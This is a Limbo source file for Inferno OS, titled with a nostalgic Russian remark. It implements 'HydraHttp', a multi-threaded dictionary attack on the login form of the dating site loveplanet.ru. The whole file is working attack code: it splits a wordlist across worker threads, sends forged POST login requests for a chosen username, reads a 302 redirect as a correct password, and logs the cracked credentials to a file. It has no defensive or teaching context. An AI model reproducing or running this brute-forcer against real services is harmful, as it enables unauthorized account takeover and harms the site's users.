эх, молодость...
implement HydraHttp;include "sys.m";
sys: Sys;
Connection: import sys;
include "draw.m";
include "bufio.m";
bufio: Bufio;
Iobuf: import bufio;
include "arg.m";
arg: Arg;
HydraHttp: module {
init: fn(ctx: ref Draw->Context, argv: list of string);
};
###
login: string;
wordfile: string;
logfile: string;
logfile = "loveplanet.log";
host := "loveplanet.ru";
port := "80";
runtr := 2;
SIG_EXIT: con 0;
SIG_LOST: con 1;
SIG_CONTINUE: con 2;
SIG_ANNOUNCE: con 3;
SIG_FOUND: con 4;
SIG_EMPTY: con 5;
iichan: type chan of (int, int);
ilchan: type chan of (int, list of string);
ischan: type chan of (int, string);
lchan: type chan of list of string;
totalwords: int;
###
init(nil: ref Draw->Context, argv: list of string){
sys = load Sys Sys->PATH;
bufio = load Bufio Bufio->PATH;
arg = load Arg Arg->PATH;
sync := chan of (int, int);
state := chan of int;
lflag := tflag := wflag := 0;
arg->init(argv);
arg->setusage("-l login -w wordlist -t [threads, 2 by default]");
while((opt := arg->opt()) != 0){
case opt{
'l' =>
login = arg->arg();
lflag = 1;
'w' =>
wordfile = arg->arg();
wflag = 1;
't' =>
runtr = int arg->arg();
tflag = 1;
* =>
sys->print("unknown option: -%c\n", opt);
arg->usage();
exit;
}
}
if(!lflag || !wflag){
sys->print("Not enough arguments\n");
arg->usage();
exit;
}
if(runtr < 1) { runtr = 1;}
sys->print("Start job for login: %s dictionary: %s threards: %d\n", login , wordfile, runtr);
pwdfeed := array[runtr] of chan of list of string;
spawn master(sync, pwdfeed, state);
(pid, signal) := <- sync;
if(signal == SIG_EXIT) {
killpid(pid);
sys->print("Could not run Master\n");
exit;
}
sys->print("Master@[%d]\n", pid);
for(i := 0; i < runtr; i++) {
spawn slave(login, sync, pwdfeed[i] = chan of list of string, state);
}
}
master(sync: iichan, pwdfeed: array of lchan, state: chan of int){
slaves: list of int;
slavepid := array[runtr] of int;
my_pid := mypid();
dicfd := bufio->open(wordfile, Bufio->OREAD);
if(dicfd == nil){
sys->print("Wordlist fatal: %r\n");
sync <- = (my_pid, SIG_EXIT);
exit;
}
sync <- = (my_pid, SIG_CONTINUE);
i:=0;
sig_state := SIG_CONTINUE;
while(1){
alt{
(pid, signal) := <- sync =>
case signal {
SIG_ANNOUNCE =>
sys->print("master <- announce[%d]\n", pid);
slaves = addpid(slaves, pid);
slavepid[i] =pid;
i++;
SIG_LOST =>
sys->print("master <- lost[%d]\n", pid);
slaves = delpid(slaves, pid);
if(totalpids(slaves) == 0){
exit;
}
SIG_FOUND =>
slaves = killallpid(slaves);
sys->print("master <- found[%d]\n", pid);
SIG_CONTINUE =>
(cnt, words) := wordsfeed(dicfd);
if(cnt > 0) {
num := len slavepid;
j := 0;
for(j =0; j<num; j++){
if(slavepid[j] == pid) {
pwdfeed[j] <- = words;
}
}
} else {
slaves = delpid(slaves, pid);
sys->print("wordlist empty. abort\n");
sig_state = SIG_EXIT;
if(totalpids(slaves) ==0) { exit; }
}
sys->print("Words: %d\n", totalwords);
}
state <- = sig_state =>
{
if(sig_state == SIG_EXIT){
slaves = killallpid(slaves);
sys->print("Password not found\n");
exit;
}
}
}
}
###
}
slave(login: string, sync: iichan, pwdfeed: lchan, state: chan of int){
net: Connection;
words: list of string;
ok: int;
my_pid := mypid();
sync <- =(my_pid, SIG_ANNOUNCE);
sync <- =(my_pid, SIG_CONTINUE);
words = <- pwdfeed;
while(1){
for(passwd := hd words; words != nil; words = tl words){
passwd = hd words;
(ok, net) = sys->dial(netmkaddr(host, "tcp", port), nil);
if(ok < 0){
sys->print("HydraHttp[%d] fatal: %r\n", my_pid);
sync <- = (my_pid, SIG_LOST);
}
#sys->print("Try %s %s\n", login, passwd);
req := request(login, passwd);
if(!httpreq(net.dfd, req, my_pid)) {
### Close TCP connection
### Send master fail signal
net.dfd = nil;
sync <- = (my_pid, SIG_LOST);
}
if(answer(net.dfd, my_pid)){
sys->print("Found login: %s password: %s\n", login, passwd);
tolog(login, passwd);
### Send master found signal
sync <- = (my_pid, SIG_FOUND);
}
### disconnect from server
net.dfd = nil;
} ## for end
signal := <- state ;
if(signal != SIG_EXIT) {
sync <- =(my_pid, SIG_CONTINUE);
words = <- pwdfeed;
}
else {
sync <- = (my_pid, SIG_LOST);
}
}
}
wordsfeed(dicfd: ref Iobuf): (int, list of string){
i:=0;
cnt := 20; ### lenght of wordfeed
wordlist: list of string;
while((s := dicfd.gets('\n')) !=nil ) {
slen := (len s) -1;
s = s[:slen];
# s = urlencode(s); ### Loveplanet holds latin charset
wordlist = s :: wordlist;
i++;
totalwords++;
if(i == cnt) { break; }
}
return (i, wordlist);
}
urlencode(data: string) : string
{
c, length, status : int;
plain := array[127] of { 45=>'-', 46=>'.', 48=>'0', 49=>'1', 50=>'2', 51=>'3', 52=>'4', 53=>'5', 54=>'6', 55=>'7', 56=>'8', 57=>'9', 65=>'A', 66=>'B', 67=>'C', 68=>'D', 69=>'E', 70=>'F', 71=>'G', 72=>'H', 73=>'I', 74=>'J', 75=>'K', 76=>'L', 77=>'M', 78=>'N', 79=>'O', 80=>'P', 81=>'Q', 82=>'R', 83=>'S', 84=>'T', 85=>'U', 86=>'V', 87=>'W', 88=>'X', 89=>'Y', 90=>'Z', 95=>'_', 97=>'a', 98=>'b', 99=>'c', 100=>'d', 101=>'e', 102=>'f', 103=>'g', 104=>'h', 105=>'i', 106=>'j', 107=>'k', 108=>'l', 109=>'m', 110=>'n', 111=>'o', 112=>'p', 113=>'q', 114=>'r', 115=>'s', 116=>'t', 117=>'u', 118=>'v', 119=>'w', 120=>'x', 121=>'y', 122=>'z' , * => 0};
bytes := array of byte data;
encoded := "";
i := 0;
status = 1;
while(i < len bytes && status != 0) {
(c, length, status) = sys->byte2char(bytes, i);
if(status > 0)
if (c < len plain && plain[c] > 0)
encoded += sys->sprint("%c", plain[c]);
else
encoded += sys->sprint("%%%X", c);
i += length;
}
return encoded;
}
request(login, password: string): string{
req, body: string;
body = "a=logon&back=&login=" + login + "&password=" + password;
req = "POST http://loveplanet.ru/a-logon/ HTTP/1.1\r\n" +
"Host: loveplanet.ru\r\n" +
"User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1)\r\n" +
"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n" +
"Accept-Language: ru,en-us;q=0.7,en;q=0.3\r\n" +
"Accept-Encoding: gzip,deflate\r\n" +
"Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n" +
"Keep-Alive: 600\r\n" +
"Connection: keep-alive\r\n" +
"Referer: http://loveplanet.ru/\r\n" +
"Cookie: randomhit=712674716\r\n" +
"Content-Type: application/x-www-form-urlencoded\r\n" +
"Content-Length: " + string(len body) + "\r\n\r\n"+
body;
return req;
}
netmkaddr(addr, net, svc: string): string
{
if(net == nil)
net = "net";
(n,nil) := sys->tokenize(addr,"!");
if(n <= 1){
if(svc == nil)
return sys->sprint("%s!%s", net, addr);
return sys->sprint("%s!%s!%s", net, addr, svc);
}
if(svc == nil || n > 2)
return addr;
return sys->sprint("%s!%s", addr, svc);
}
httpreq(dfd: ref Sys->FD, s: string, pid: int): int{
bytes := array of byte s;
ok := sys->write(dfd, bytes, len bytes);
if( ok == -1) {
sys->print("HydraHttp[%d] fatal: could't write %r", pid);
return 0;
} else {return 1;}
}
answer(dfd: ref Sys->FD, pid: int): int{
blen := 1024;
flag := 0;
buf := array[blen] of byte;
num := sys->read(dfd, buf, blen);
if(num >= blen) { num = blen;}
# sys->print("[%d]: %s\n", pid, string buf[:num]); ### print out full reply
# sys->print("[%d]:(%d)\n", pid, num); ### print only length of returned data
if(num > 0) {
flag = parsereply(string buf[:num]);
}
else { flag = 0; }
return flag;
}
parsereply(s: string): int{
answl: list of string;
line: string;
num, flag: int;
flag = 0;
(num, answl) = sys->tokenize(s, "\r\n");
if(num > 0){
for(i:=0; i<num; i++){
line = hd answl;
case i {
0 =>
if(line[0:7] == "HTTP/1.") {
if(line[9:15] == "302 Fo") { ## # 302 Found
flag =1;
break;
}
}
}
answl = tl answl;
}
}
return flag;
}
tolog(login, password: string){
buf: array of byte;
s: string;
logfd := sys->create(logfile, Sys->OWRITE, 8r644);
if(logfd == nil) {
sys->print("Fatal: %r\n");
}
s = "Found login: " + login + " password: " + password + "\n";
buf = array of byte s;
sys->write(logfd, buf, len buf);
}
### thread manager :-) ###
mypid(): int {
return sys->pctl(0, nil);
}
addpid(cl: list of int, pid: int): list of int{
cl = pid :: cl;
return cl;
}
delpid(cl: list of int, pid: int): list of int {
num := len cl;
tmp: list of int;
for(i:=0; i<num; i++){
spid := hd cl;
if(pid != spid){
tmp = spid :: tmp;
}
cl = tl cl;
}
killpid(pid);
return tmp;
}
showpids(cl: list of int){
if(isempty(cl)) { exit;}
num := len cl;
for(i:=0; i<num; i++){
pid := hd cl;
sys->print("%d,", pid);
cl = tl cl;
}
sys->print("\n");
}
killpid(pid: int){
fd := sys->open("/prog/" + string pid + "/ctl", sys->OWRITE );
sys->fprint(fd, "kill");
}
killallpid(cl: list of int): list of int{
num := len cl;
for(i:=0; i<num; i++){
pid := hd cl;
killpid(pid);
cl = tl cl;
}
return cl;
}
isempty(cl: list of int): int{
num := len cl;
if(num == 0) { return 1; }
else { return 0;}
}
totalpids(cl: list of int): int {
return len cl;
}